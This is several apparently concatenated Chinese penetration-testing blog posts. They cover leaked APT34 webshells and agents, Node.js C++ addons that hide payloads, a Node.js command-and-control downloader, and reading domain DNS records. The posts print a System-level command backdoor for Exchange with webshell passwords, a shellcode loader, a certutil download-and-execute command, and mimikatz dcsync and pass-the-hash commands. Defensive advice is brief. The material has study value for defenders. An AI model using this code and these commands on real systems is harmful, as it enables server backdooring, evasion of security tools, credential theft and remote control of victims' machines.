0x00 前言

最近APT34的6款工具被泄露,本文作为分析文章的第二篇(第一篇文章回顾),仅在技术角度对其中的HighShell和HyperShell进行分析。

参考资料:

https://malware-research.org/apt34-hacking-tools-leak/amp/

0x01 简介

本文将要介绍以下内容:

· 对HighShell的分析

· 对HyperShell的分析

· 小结

0x02 对HighShell的分析

对应泄露文件的名称为Webshells_and_Panel中的HighShell。

其中的文件为HighShell.aspx,是针对Windows服务器的webshell。

默认访问页面如下图:

Alt text

Login框为红色,需要输入连接口令。

正确的口令为Th!sN0tF0rFAN。

输入正确的口令后,点击Do it,刷新页面,成功登录,如下图:

Alt text

Login框变为绿色。

该工具的公开线索:

https://unit42.paloaltonetworks.com/unit42-twoface-webshell-persistent-access-point-lateral-movement/

HighShell同paloaltonetworks在文中提到的TwoFace的页面相同。

0x03 对HyperShell的分析

对应泄露文件的名称为Webshells_and_Panel中的HyperShell。

下面包含7个文件夹:

· ExpiredPasswordTech

· HyperShell

· Image

· Libraries

· packages

· ShellLocal

· StableVersion

1.ExpiredPasswordTech

包括3个文件:

· error4.aspx,功能与HighShell.aspx相同,但登录口令未知

· ExpiredPassword.aspx,适用于Exchange的webshell

· MyMaster.aspx,生成字符串:NxKK<TjWN^lv-$*UZ|Z-H;cGL(O>7a

2.HyperShell

包含多个文件,是各个webshell的源码文件。

其中包含另一个可用的webshell,相对路径:.\Webshells_and_Panel\HyperShell\HyperShell\Shell\simple.aspx

连接口令:MkRg5dm8MOk。

如下图:

Alt text

3.Image

图片文件夹。

4.Libraries

包含多个依赖文件。

5.packages

包含多个依赖文件。

6. ShellLocal

空文件夹。

7. StableVersion

稳定版本,包含多个webshell。

(1)ExpiredPassword.aspx

适用于Exchange的webshell。

相对路径:.\Webshells_and_Panel\HyperShell\StableVersion\HighShell v5.0\HyperShell\HyperShell\ExpiredPasswordTech

与相对路径.\Webshells_and_Panel\HyperShell\ExpiredPasswordTech下的文件内容相同。

ExpiredPassword.aspx是Exchange正常的功能,对应重置用户口令的页面,如下图:

Alt text

访问的URL:https://<domain>/owa/auth/ExpiredPassword.aspx

对应Windows绝对路径:C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\ExpiredPassword.aspx

该路径下的webshell默认权限为System

我的测试系统安装了Exchange2013,正常的ExpiredPassword.aspx源码我已经上传至github:

https://raw.githubusercontent.com/3gstudent/test/master/ExpiredPassword.aspx(2013)

HyperShell中的ExpiredPassword.aspx是一个添加了后门代码的文件,同我测试环境的正常ExpiredPassword.aspx文件相比有多处不同,如下图:

Alt text

经过分析发现有可能是Exchange版本差异导致的,忽略版本差异,HyperShell中的ExpiredPassword.aspx主要添加了如下代码:

              <%
                    try{
                    if (Convert.ToBase64String(new System.Security.Cryptography.SHA1Managed().ComputeHash(Encoding.ASCII.GetBytes(Encoding.ASCII.GetString(Convert.FromBase64String(Request.Form["newPwd1"])) + "[email protected]#!%FS"))) == "+S6Kos9D/etq1cd///fgTarVnUQ=")
                    {
                        System.Diagnostics.Process p = new System.Diagnostics.Process();
                        System.Diagnostics.ProcessStartInfo i = p.StartInfo;
                        i.FileName = "cmd";
                        i.Arguments = "/c " + Encoding.UTF8.GetString(Convert.FromBase64String(Request.Form["newPwd2"]));
                        i.UseShellExecute = false;
                        i.CreateNoWindow = true;
                        i.RedirectStandardOutput = true;
                        p.Start();
                        string r = p.StandardOutput.ReadToEnd();
                        p.WaitForExit();
                        p.Close();
                        Response.Write("<pre>" + Server.HtmlEncode(r) + "</pre>");
                        Response.End();
                    }}catch{}
                %>

对应到我的测试环境,也就是Exchange2013,添加payload后的代码已上传至github:

https://raw.githubusercontent.com/3gstudent/test/master/ExpiredPassword.aspx(2013)(HyperShell)

使用方法如下图:

Alt text

New password项对应登录webshell的验证口令,验证通过后会执行Confirm new password项的内容,权限为System。

泄露的文件中未提到webshell的验证口令,为了验证该后门,我们修改代码去掉登录webshell的验证环节即可。

(2)HighShellLocal

功能强大的webshell。

相对路径:.\Webshells_and_Panel\Webshells_and_Panel\HyperShell\StableVersion\HighShell v5.0\HyperShell\HyperShell\ShellLocal\StableVersions\ShellLocal-v8.8.5.rar

解压到当前目录,相对路径为.\ShellLocal-v8.8.5\ShellLocal-v8.8.5\HighShellLocal,包括以下文件:

· 文件夹css

· 文件夹files

· 文件夹js

· HighShellLocal.aspx

实际使用时,还需要.\ShellLocal-v8.8.5\ShellLocal-v8.8.5\下的bin文件夹,否则提示无法使用Json。

完整结构如下:

│ HighShellLocal.aspx │ ├───bin │ Newtonsoft.Json.dll │ ├───css │ │ main.css │ │ │ └───img │ box-zipper.png │ download-cloud.png │ exclamation-diamond.png │ heart-break.png │ heart-empty.png │ heart.png │ minus-button.png │ ├───files │ 7za.exe │ nbt.exe │ rx.exe │ └───js │ explorer.js │ main.js │ send.js │ utility.js │ ├───components │
├───jquery │
└───semantic

登录口令:Th!sN0tF0rFAN

登录页面如下图:

Alt text

输入正确的登录口令后,如下图:

Alt text

可以看到该webshell支持多个功能。

0x04 小结

本文对泄露文件中的HighShell和HyperShell进行了分析,其中HyperShell中的ExpiredPassword.aspx是一个比较隐蔽的webshell,目前为止我还未在公开资料中找到这种利用方法。

0x00 前言

最近APT34的6款工具被泄露,本文仅在技术角度对其中的PoisonFrog和Glimpse进行分析。

参考资料:

https://malware-research.org/apt34-hacking-tools-leak/amp/

0x01 简介

本文将要介绍以下内容:

· 对PoisonFrog的分析

· 对Glimpse的分析

· 小结

0x02 对PoisonFrog的分析

对应泄露文件的名称为posion frog。

包括两部分文件:

· agent,包含文件poisonfrog.ps1,是通过powershell实现的木马程序

· server side,对应木马控制端,使用Node.js开发

一、agent实现的功能

1、在%public%\Public文件夹下释放三个文件

· dUpdater.ps1

· hUpdater.ps1

· UpdateTask.vbs

注:%public%\Public默认为隐藏文件夹。

释放文件的具体功能如下:

(1)dUpdater.ps1

1.生成一个当前系统的专有标志

2.读取当前系统的代理设置

3.通过HTTP协议从c2服务器下载文件

4.根据下载文件的内容进行下一步操作,包括执行命令,上传文件和下载文件

(2)hUpdater.ps1

1.生成一个当前计算机的专有标志

2.创建以下文件夹

· %public%\Public<id>

· %public%\Public<id>\reveivebox

· %public%\Public<id>\sendbox

· %public%\Public<id>\done

3.通过DNS A记录从c2服务器接收控制命令

4.执行命令并回传结果

(3)UpdateTask.vbs

内容如下:

command0 = "Powershell.exe -exec bypass -file C:\Users\Public\Public\hUpdater.ps1"
set Shell0 = CreateObject("wscript.shell")
shell0.run command0, 0, false
command1 = "Powershell.exe -exec bypass -file C:\Users\Public\Public\dUpdater.ps1"
set Shell1 = CreateObject("wscript.shell")
shell1.run command1, 0, false

用来加载powershell脚本dUpdater.ps1和hUpdater.ps1

2、创建两个计划任务

· 名称为\UpdateTasks\UpdateTask,每10分钟运行一次,以当前用户权限执行UpdateTask.vbs

· 名称为\UpdateTasks\UpdateTaskHosts,每10分钟运行一次,以System权限执行UpdateTask.vbs

二、 对server side的分析

通过Node.js实现。

使用时需要先通过npm安装第三方包,具体安装的命令位于文件install_pachages.bat中。

index.js为主体程序。

考虑到避免被滥用,控制端的代码不做具体分析,也不提供具体搭建的方法。

注:我在之前的文章《渗透测试中的Node.js——Downloader的实现》《渗透测试中的Node.js——利用C++插件隐藏真实代码》曾介绍过Node.js的使用,Node.js的基础知识可以参考这两篇文章。

使用Node.js实现server side有以下优点:

· 语法简单易懂

· 轻量又高效

· 可同时部署在Windows和Linux系统

三、该工具的公开线索

1.APT34曾利用CVE-2017-11882传播该木马,FireEye对样本进行过分析:

https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html

2.Palo Alto Networks将其命名为Early BondUpdater,对样本的分析资料:

https://unit42.paloaltonetworks.com/dns-tunneling-in-the-wild-overview-of-oilrigs-dns-tunneling/

0x03 对Glimpse的分析

对应泄露文件的名称为Glimpse。

包括四部分文件:

· Agent,包含四个文件dns.ps1、dns_main.ps1、refineddns_main.ps1和runner_.vbs

· panel,包含一个c#开发的界面程序,是界面化的木马控制端

· server,是Node.js开发的木马控制端

· Read me.txt,配置说明文档

一、agent实现的功能

dns.ps1、dns_main.ps1和refineddns_main.ps1三个文件的功能相同。

原始版本为dns_main.ps1

dns.ps1和refineddns_main.ps1只是变量名称替换成了无意义的混淆字符串。

dns_main.ps1的功能如下:

1.创建文件夹%public%\Libraries

注:%public%\Libraries默认为隐藏文件夹。

2.判断文件%public%\Libraries\lock是否存在

· 如果不存在,创建文件并写入当前powershell进程的pid

· 如果文件存在,读取文件创建时间,如果距离现在的时间超过10分钟,那么会退出进程并删除lock文件

3.生成一个当前系统的专有标志,写入文件%public%\Libraries\quid

4.创建以下文件夹

· %public%\Libraries\files

· %public%\Libraries<id>

· %public%\Libraries<id>\reveivebox

· %public%\Libraries<id>\sendbox

· %public%\Libraries<id>\done

5.通过DNS A记录或DNS TXT记录从c2服务器接收控制命令

6.执行命令并回传结果

二、 对server的分析

通过Node.js实现。

使用时需要先通过npm安装第三方包,具体安装的命令位于文件Read me.txt中。

相比于PoisonFrog,Glimpse在代码结构上做了优化,并且添加了通过DNS TXT记录传输数据的功能。

考虑到避免被滥用,控制端的代码不做具体分析,也不提供具体搭建的方法。

三、该工具的公开线索

1.Palo Alto Networks将其命名为Updated BondUpdater,对样本的分析资料:

https://unit42.paloaltonetworks.com/unit42-oilrig-uses-updated-bondupdater-target-middle-eastern-government/

0x04 小结

对于PoisonFrog和Glimpse,虽然这次泄露了工具源码,但它们早在2017年已经被捕获样本,也被分析的很清楚,个人认为该工具不存在被大规模滥用的隐患。而使用DNS协议传输数据也是一个很古老的方法,个人认为该工具不会导致恶意软件技术的升级。

0x00 前言

在之前的文章《渗透测试中的Node.js——Downloader的实现》开源了一个使用Node.js实现Downloader的代码,简要分析在渗透测试中的利用思路。

Node.js的语法简单易懂,所以Node.js代码也很容易被分析。

为了增加Node.js代码被分析的难度,我的思路是利用Node.js的一个功能,将payload以C++插件的形式进行封装。

这样不但能够增加Node.js代码被分析的难度,而且可以用C++代码来实现payload,已有的C++代码经过简单的修改即可使用,减小二次开发的成本。

0x01 简介

本文将要介绍以下内容:

· C++插件简介

· 搭建C++插件的开发环境

· C++插件代码实例

· 利用思路

· 防御建议

0x02 C++插件简介

Node.js C++插件是用C++编写的动态链接库,可以使用require()函数加载到Node.js中。利用V8提供的API,可以实现JavaScript和C++的互相调用,打通JavaScript和C++之间的接口。

官方文档:

https://nodejs.org/api/addons.html

使用实例:

1.编译成功一个C++插件,导出方法为:hello

2.使用Node.js调用C++插件导出方法的代码如下:

const addon = require('./addon.node');
addon.hello();

3.执行代码

node.exe test.js

0x03 搭建C++插件的开发环境

1、Windows开发环境

测试系统:Win7sp1 x64

需要安装以下工具:

· .NET Framework 4.5.1或更高版本

· Python 2.7

· Visual Studio 2015或更高版本

具体搭建流程如下:

1.安装.NET Framework 4.5.1

https://www.microsoft.com/en-US/download/details.aspx?id=5842

2.下载Node.js

https://nodejs.org/en/download/

3.使用Windows-Build-Tools自动安装依赖工具

https://github.com/felixrieseberg/windows-build-tools

cd c:\
powershell
npm install --global windows-build-tools

如果安装失败,可选择手动安装以下工具:

· Python 2.7

· Visual Studio 2015或更高版本

4.安装node-gyp

https://github.com/nodejs/node-gyp

npm install -g node-gyp

2、Linux开发环境

wget https://nodejs.org/dist/v10.15.3/node-v10.15.3-linux-x64.tar.xz
tar xf node-v10.15.3-linux-x64.tar.xz
cd node-v10.15.3-linux-x64
cd bin
export PATH=/root/node-v10.15.3-linux-x64/bin:$PATH
./npm install -g node-gyp

注:需要添加环境变量指定node的位置(export PATH=/root/node-v10.15.3-linux-x64/bin:$PATH),否则在执行npm install会失败,提示/usr/bin/env: ‘node’: No such file or directory

实例演示:

1.hello.cc:

#include <node.h>
namespace demo {
using v8::FunctionCallbackInfo;
using v8::Isolate;
using v8::Local;
using v8::NewStringType;
using v8::Object;
using v8::String;
using v8::Value;

void Method(const FunctionCallbackInfo<Value>& args) {
  Isolate* isolate = args.GetIsolate();
  args.GetReturnValue().Set(String::NewFromUtf8(
      isolate, "world", NewStringType::kNormal).ToLocalChecked());
}

void Initialize(Local<Object> exports) {
  NODE_SET_METHOD(exports, "hello", Method);
}

NODE_MODULE(NODE_GYP_MODULE_NAME, Initialize)

}  // namespace demo

2.binding.gyp

{
  "targets": [
    {
      "target_name": "addon",
      "sources": [ "hello.cc" ]
    }
  ]
}

3.通过node-gyp编译,生成插件

node-gyp configure
node-gyp build

注:可以合并成一条命令:

node-gyp configure build

Node.js支持交叉编译,具体参数说明可参考:

https://www.npmjs.com/package/node-pre-gyp

Linux系统下生成Windows64位系统下使用的插件命令如下:

node-gyp configure build --target_arch=x64 --target_platform=win32

0x04 C++插件代码实例

在开发时,最好避免出现if这种的条件判断语句,直接使用会导致编译错误。

1. 释放文件

#include <node.h>
#include <stdio.h>
namespace demo {
	using v8::FunctionCallbackInfo;
	using v8::Isolate;
	using v8::Local;
	using v8::Object;
	using v8::String;
	using v8::Value;

	void Method(const FunctionCallbackInfo<Value>& args) {
		FILE* fp;
		fopen_s(&fp, "new.txt", "ab+");
		char *buf = "123456";
		fwrite(buf, strlen(buf), 1, fp);
		fseek(fp, 0, SEEK_END);
		fclose(fp);
	}

	void init(Local<Object> exports) {
		NODE_SET_METHOD(exports, "hello", Method);
	}
	NODE_MODULE(NODE_GYP_MODULE_NAME, init)
}

2. 执行命令:

#include <node.h>
namespace demo {
	using v8::FunctionCallbackInfo;
	using v8::Isolate;
	using v8::Local;
	using v8::Object;
	using v8::String;
	using v8::Value;

	void Method(const FunctionCallbackInfo<Value>& args) {
		system("powershell start calc.exe");
	}

	void init(Local<Object> exports) {
		NODE_SET_METHOD(exports, "hello", Method);
	}
	NODE_MODULE(NODE_GYP_MODULE_NAME, init)
}

3.执行shellcode

生成shellcode:

msfvenom -p windows/x64/exec CMD=calc.exe -f c

加载shellcode并执行:

#include <node.h>
#include <Windows.h>
namespace demo {
	using v8::FunctionCallbackInfo;
	using v8::Isolate;
	using v8::Local;
	using v8::Object;
	using v8::String;
	using v8::Value;

	void Method(const FunctionCallbackInfo<Value>& args) {
		unsigned char shellcode[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
			"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
			"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
			"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
			"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
			"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
			"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
			"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
			"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
			"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
			"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
			"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
			"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
			"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
			"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f"
			"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff"
			"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
			"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c"
			"\x63\x2e\x65\x78\x65\x00";
		void *sc = VirtualAlloc(0, sizeof(shellcode), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
		memcpy(sc, shellcode, sizeof(shellcode));
		(*(int(*)()) sc)();

	}

	void init(Local<Object> exports) {
		NODE_SET_METHOD(exports, "hello", Method);
	}
	NODE_MODULE(NODE_GYP_MODULE_NAME, init)
}

编译好的插件已上传至github,地址如下:

https://github.com/3gstudent/test/raw/master/addon.node

以上插件代码的导出方法均为hello,调用方式如下:

const addon = require('./addon.node');
addon.hello();

0x05 利用思路

1、被第三方可信程序加载

参考:https://bbs.pediy.com/thread-249573.htm

t.exe->node.exe->main.js

main.js与addon.node放在同级目录,main.js的内容如下:

const addon = require('./addon.node');
addon.hello();

addon.node的格式为dll文件,无法直接获得payload,增加静态分析的成本。

0x06 防御建议

对t.exe的子进程(node.exe)行为进行判断,如果有可疑行为进行拦截,取消对该证书的信任。

0x07 小结

本文介绍了Node.js中C++插件的用法,可以用来增加Node.js代码被分析的难度,最后分享了三个payload的写法。

0x00 前言

Node.js是一个基于Chrome V8引擎的JavaScript运行环境,使用了一个事件驱动、非阻塞式I/O的模型,使其轻量又高效。

我最近在一篇文章中学到了利用Node.js绕过主动防御的技巧,于是对Node.js的语法进行了学习,开源一个Downloader的实现代码,分享脚本开发中需要注意的细节。

Node.js绕过主动防御的学习地址:

https://bbs.pediy.com/thread-249573.htm

0x01 简介

本文将要介绍以下内容:

· 基本概念

· 利用Node.js实现的文件释放

· 利用Node.js实现的downloader

· 利用思路

· 防御建议

0x02 基本概念

Node.js同JavaScript的区别

JavaScript是一门语言。

Node.js是一个基于Chrome V8引擎的JavaScript运行环境。

虽然在Windows平台下,二者的脚本文件后缀名都是.js,但二者之间的区别很大,语法也不同。

Node.js的使用

官方文档:

https://nodejs.org/api/

中文资料:

http://www.runoob.com/nodejs/nodejs-tutorial.html

下载地址:

https://nodejs.org/en/download/

在Windows平台下,Node.js代码保存在.js后缀名的文件中,通过node.exe加载执行。

Node.js支持第三方包,可通过npm命令安装模块,实例如下:

安装web框架模块express:

npm install express

使用模块express:

var express = require('express');

注:本文涉及的代码均不使用第三方包,只使用安装包中的node.exe

0x03 利用Node.js实现的文件释放

实现思路:

将exe文件做base64编码存储在文件中,释放时先读取文件进行解码,最后写入文件。

1. 读取文件内容,做base64编码并输出到data.txt

function base64_encode(file) {
	var fs = require('fs');
	var data = fs.readFileSync(file);
	return Buffer.from(data).toString('base64');
}
var base64str = base64_encode('test.exe');
console.log(base64str);

注:fs.readFileSync表示同步读取,异步读取使用fs.readFile

执行:

node.js base64encode.js >data.txt

2. 读取data.txt中保存的加密字符串,base64解码并生成新的文件test2.exe

function base64_decode(base64str, file) {
	var data = Buffer.from(base64str, 'base64');
    fs.writeFileSync(file, data);
}
var fs = require('fs');
var base64str = fs.readFileSync('data.txt');
console.log(base64str.toString());
base64_decode(base64str.toString(), 'test2.exe');

注:使用代码var base64str = fs.readFileSync('data.txt');在读取文件后,变量base64str需要强制转换成字符串类型,即base64str.toString()

为了缩小文件长度,加入压缩算法gzip

1. 读取test.exe中的内容,做gzip压缩后保存到文件data.gz

function gunzip(sourcePath) {
	var zlib = require('zlib');
	var fs = require('fs');
  	var unzip = zlib.createGunzip(); 
  	var rs = fs.createReadStream(sourcePath); 
  	var ws = fs.createWriteStream('test2.exe');
  	rs.pipe(unzip).pipe(ws);
}
gunzip('data.gz');

2. 读取data.gz中的内容,做gzip解压缩后保存到文件test2.exe

var zlib = require('zlib');
var fs = require('fs');
function gunzip(sourcePath) {
  var unzip = zlib.createGunzip(); 
  var rs = fs.createReadStream(sourcePath); 
  var ws = fs.createWriteStream('test2.exe');
  rs.pipe(unzip).pipe(ws);
}
gunzip('data.gz');

0x04 利用Node.js实现的downloader

实现思路:

1. Server

· 监听指定端口,等待客户端连接,记录客户端的IP、连接时间和post数据。

· 对客户端的数据包进行筛选,对符合条件1的客户端返回控制命令,对符合条件2的客户端在当前控制台显示客户端发来的命令执行结果,否则返回404页面。

2. Client

· 连接指定服务器,发送固定格式的post数据,包括当前系统的主机名和操作系统版本。

· 接收服务器返回的控制命令,执行后将结果再次发送到服务器。

· 如果服务器未响应,等待一段时间后再次发送post请求。

需要考虑如下问题:

1. 通过Node.js执行cmd命令

function runcmd(command) {
	var childprocess = require('child_process');
	childprocess.exec(command, (err, stdout, stderr) => {
  	if (err) {
    		console.error(err);
    		return;
  	}
  	console.log(stdout);
	});
}
runcmd('whoami');

2. HTTP通信的实现

Server:

var http = require('http');
var querystring = require('querystring');
http.createServer(function (req, res) {
    	var body = '';
    	console.log('req.url:',req.url);
    	req.on('data', function (chunk) {
		body += chunk;
        	console.log("chunk:",chunk);
    	});
    	req.on('end', function () {
        	body = querystring.parse(body);  
        	console.log('body:',body);
        	res.write('Message from server');
        	res.end();
    	});
}).listen(3000,'0.0.0.0');

Client:

function sendHello(host1,port1){
	var http = require('http');	
	var querystring = require('querystring');
	var contents = querystring.stringify({
    		data1:'str1',
    		data2:'str2'	
	});
	var options = {
    		host: host1,
    		port: port1,
    		path: '/',
    		method:'POST',
    		headers:{
        		'Content-Type':'application/x-www-form-urlencoded',
        		'Content-Length':contents.length
    		}
	}
	console.log('post options:\n',options);
	console.log('content:',contents);

	var req = http.request(options, function(res){
    		console.log('headers:', res.headers);
    		var data1='';
    		res.on('data', function(chunk){
      			data1 += chunk;
    		});
    		res.on('end', function(){
      			console.log('result:',data1)
    		});
	});
	req.write(contents);
	req.end;
};
sendHello('127.0.0.1','3000');

Client向Server发送post数据,内容为data1=str1&data2=str2

Server收到请求后,向Client回复的内容为Message from server

3. sleep的实现

Node.js默认不支持sleep操作,这里可以自己实现:

function sleep(milliSeconds){
	var startTime =new Date().getTime();
	while(new Date().getTime()< startTime + milliSeconds);
}
var timeinterval = +'5000';
sleep(timeinterval);

字符串类型转换为数字,可在前面加+

4. Client定时循环发送post请求

这里需要考虑异步和同步的问题。

Node.js是异步编程,但Client定时循环发送post请求需要使用同步实现,测试代码如下:

Server:

代码同上

Client:

function sleep(milliSeconds){
	var startTime =new Date().getTime();
	while(new Date().getTime()< startTime + milliSeconds);
}
function sendHello(host1,port1){
	var http = require('http');	
	var querystring = require('querystring');
	var contents = querystring.stringify({
    		data1:'str1',
    		data2:'str2'	
	});
	var options = {
    		host: host1,
    		port: port1,
    		path: '/',
    		method:'POST',
    		headers:{
        		'Content-Type':'application/x-www-form-urlencoded',
        		'Content-Length':contents.length
    		}
	}
	console.log('post options:\n',options);
	console.log('content:',contents);

	var req = http.request(options, function(res){
    		console.log('headers:', res.headers);
    		var data1='';
    		res.on('data', function(chunk){
      			data1 += chunk;
    		});
    		res.on('end', function(){
      			console.log('result:',data1)
    		});
	});
	req.write(contents);
	req.end;
};
while (true)
{
	console.log('1');
	sleep(5000);
	sendHello('127.0.0.1','3000');
}

期待的结果:

Clinet每隔5秒发送一个post请求,接收结果。

实际的结果:

每隔5秒执行一次循环,但Clinet没有发出请求。

由于我们最初的设想是不使用npm,所以也无法使用async模块实现同步。

最终,我通过方法嵌套解决了同步问题,示例如下:

function sleep(milliSeconds){
	var startTime =new Date().getTime();
	while(new Date().getTime()< startTime + milliSeconds);
}
function A(){
	console.log('A');
	B();	
}
function B(){
	console.log('B');
	sleep(5000);
	A();	
}
A();

5. Server显示Client的IP

代码如下:

function getClientIp(req) {
        return req.headers['x-forwarded-for'] ||
        req.connection.remoteAddress ||
        req.socket.remoteAddress ||
        req.connection.socket.remoteAddress;
};

默认为格式为ipv6,例如:

::ffff:127.0.0.1

可以通过修改listen的参数指定为ipv4

修改前:

.listen(3000);

修改后:

.listen(3000,'0.0.0.0');

6. Server判断post请求,不符合要求的回复404

对body的内容进行判断即可。

完整实现代码已开源,地址:

https://github.com/3gstudent/NodeJS-Downloader

注:开源的代码仅仅是一个示例,用作演示NodeJS的功能。

用法如下:

需要先获得node.exe,下载地址: https://nodejs.org/en/download/

1. 编辑文件Server.js

可编译以下内容:

· 向Client发送的命令:var command

· 监听端口: .listen(80,'0.0.0.0');

2. 启动Server

node.exe Server.js

监听指定端口,等待客户端连接,记录客户端的IP、连接时间和post数据。

对客户端的数据包进行筛选,对初次访问的客户端返回控制命令,对第二次访问的客户端在当前控制台显示客户端发来的命令执行结果,否则返回404页面。

3. 编辑文件Client.js

可编译以下内容:

· Server的IP:var serverip

· Server的端口:var serverport

· 循环间隔时间:var timeinterval

4. 启动Client

node.exe Client.js

Client将会连接Server,发送固定格式的post数据,包括当前系统的主机名和操作系统版本。

接下来接收Server返回的控制命令,执行后将结果再次发送到Server。

如果Server未响应,等待一段时间后再次发送post请求。

0x05 利用思路

1、开源的代码支持多种payload

可将payload设置为下载文件并执行,例如:

var command = 'certutil -urlcache -split -f https://github.com/3gstudent/test/raw/master/putty.exe c:\\a.exe&&c:\\a.exe';

更多下载执行的命令可参考之前的文章《渗透技巧——从github下载文件的多种方法》

注:发送Client退出的命令可使用:

var command = 'taskkill /f /im node.exe';

2、可被第三方可信程序加载

参考:

https://bbs.pediy.com/thread-249573.htm

t.exe->node.exe->main.js

演示如图:

Alt text

0x06 防御建议

对t.exe的子进程(node.exe)行为进行判断,如果有可疑行为进行拦截。

0x07 小结

本文介绍了在开发Node.js代码时需要注意的细节,开源了一段Downloader的测试代码,用来演示Node.js的功能。

简要分析在渗透测试中的利用思路,给出防御建议。

0x00 前言

在域渗透中,对域环境的信息搜集很关键,如果我们获得了域内管理员的权限,那么如何能够快速了解域内的网络架构呢?DNS记录无疑是一个很好的参考。

本文将要介绍在域渗透中,获取DNS记录的常用方法。

0x01 简介

本文将要介绍以下内容:

· 通过DNS Manager获取DNS记录

· 通过dnscmd获取DNS记录

· 域内远程读取DNS记录的方法

0x02 通过DNS Manager获取DNS记录

测试系统:

· Windows Server 2008 R2 x64

选择Administrative Tools -> DNS。

在Forward Lookup Zones下找到当前域名,能够显示当前域内的DNS记录,包括主机名和对应的IP。

如下图:

Alt text

0x03 通过dnscmd获取DNS记录

dnscmd:

用来管理DNS服务器的命令行接口,支持远程连接。

默认安装的系统:

· Windows Server 2003

· Windows Server 2008

· Windows Server 2003 R2

· Windows Server 2008 R2

· Windows Server 2012

· Windows Server 2003 with SP1

参考资料:

https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/cc772069(v=ws.11)

Win7系统在使用时需要安装Remote Server Administration Tools (RSAT)

参考地址:

https://support.microsoft.com/en-us/help/2693643/remote-server-administration-tools-rsat-for-windows-operating-systems

RSAT下载地址:

https://www.microsoft.com/en-us/download/details.aspx?id=7887

测试系统:

· Windows Server 2008 R2 x64

常用命令:

(1)列出DNS区域中当前节点的资源记录:

Dnscmd . /EnumZones

如下图:

Alt text

(2)列出test.com的信息:

Dnscmd . /ZoneInfo test.com

如下图:

Alt text

(3)列举test.com中的记录,方法1(更详细):

Dnscmd . /ZonePrint test.com

如下图:

Alt text

(4)列举testc.com的记录,方法2:

Dnscmd . /EnumRecords test.com .

如下图:

Alt text

结果同DNS Manager获取的记录一致。

0x04 域内远程读取DNS记录的方法

方法分析

前提需要获得域管理员的权限。

第一种方法是先远程连接域控制器,然后在域控制器上执行dnscmd获取DNS记录。

第二种方法是在域内一台主机上面,执行dnscmd远程读取DNS记录。

但是Win7系统默认不支持dnscmd,直接安装Remote Server Administration Tools (RSAT)也不现实。

于是,我尝试寻找在未安装Remote Server Administration Tools (RSAT)的系统上执行dnscmd的方法。

方法测试

向未安装Remote Server Administration Tools (RSAT)的Win7系统上复制一个dnscmd.exe,直接执行,结果失败。

解决方法

通过Process Monitor记录dnscmd的执行过程,查看缺少哪些文件。

如下图:

Alt text

发现缺少文件dnscmd.exe.mui。

补全缺少的文件,再次测试,最终找到解决方法。

在未安装Remote Server Administration Tools (RSAT)的系统上执行dnscmd,需要满足以下条件:

1、dnscmd保存在路径C:\Windows\System32下

2、dnscmd.exe.mui保存在C:\Windows\System32\en-US下(该位置比较通用,也可以在其他位置)

注:dnscmd和dnscmd.exe.mui使用Windows Server 2008 R2下的即可。

这里提供一个测试文件(我从Windows Server 2008 R2下获得的):

https://github.com/3gstudent/test/dnscmd.exe

https://github.com/3gstudent/test/dnscmd.exe.mui

注:

仅供测试。

由于dnscmd在远程连接时,未提供输入用户名和口令的接口,这里需要借助mimikatz的Overpass-the-hash。

首先需要获得域管理员用户的hash,这里只能用ntlm/rc4/aes128/aes256

如果获得了域管理员用户的明文口令,可以先将明文转为ntlm,在线加密的网站:

https://md5decrypt.net/en/Ntlm/

补充:使用dcsync获得域内所有用户hash的方法。

域控制器上执行mimikatz:

mimikatz.exe privilege::debug "lsadump::dcsync /domain:test.local /all /csv exit"

实际测试

测试环境的参数如下:

· 域管理员用户:Administrator

· 口令:DomainAdmin456!

· hash:A55E0720F0041193632A58E007624B40

Overpass-the-hash:

mimikatz.exe privilege::debug "sekurlsa::pth /user:Administrator /domain:test.com /ntlm:A55E0720F0041193632A58E007624B40"

这样会弹出一个cmd.exe

接着使用dnscmd远程连接进行查询:

Dnscmd WIN-F08C969D7FM.test.com /EnumZones

or

Dnscmd WIN-F08C969D7FM /EnumZones

注:这里要使用FQDN或者计算机名。

如下图:

Alt text

如果想在命令行下实现整个流程,可以采用如下方法:

新建c:\test\1.bat,内容如下:

Dnscmd WIN-F08C969D7FM.test.com /EnumZones > c:\test\out.txt

Overpass-the-hash:

mimikatz.exe privilege::debug "sekurlsa::pth /user:Administrator /domain:test.com /ntlm:A55E0720F0041193632A58E007624B40 /run:\"cmd.exe /c c:\test\1.bat\""

注:cmd.exe下"需要使用转义字符\"

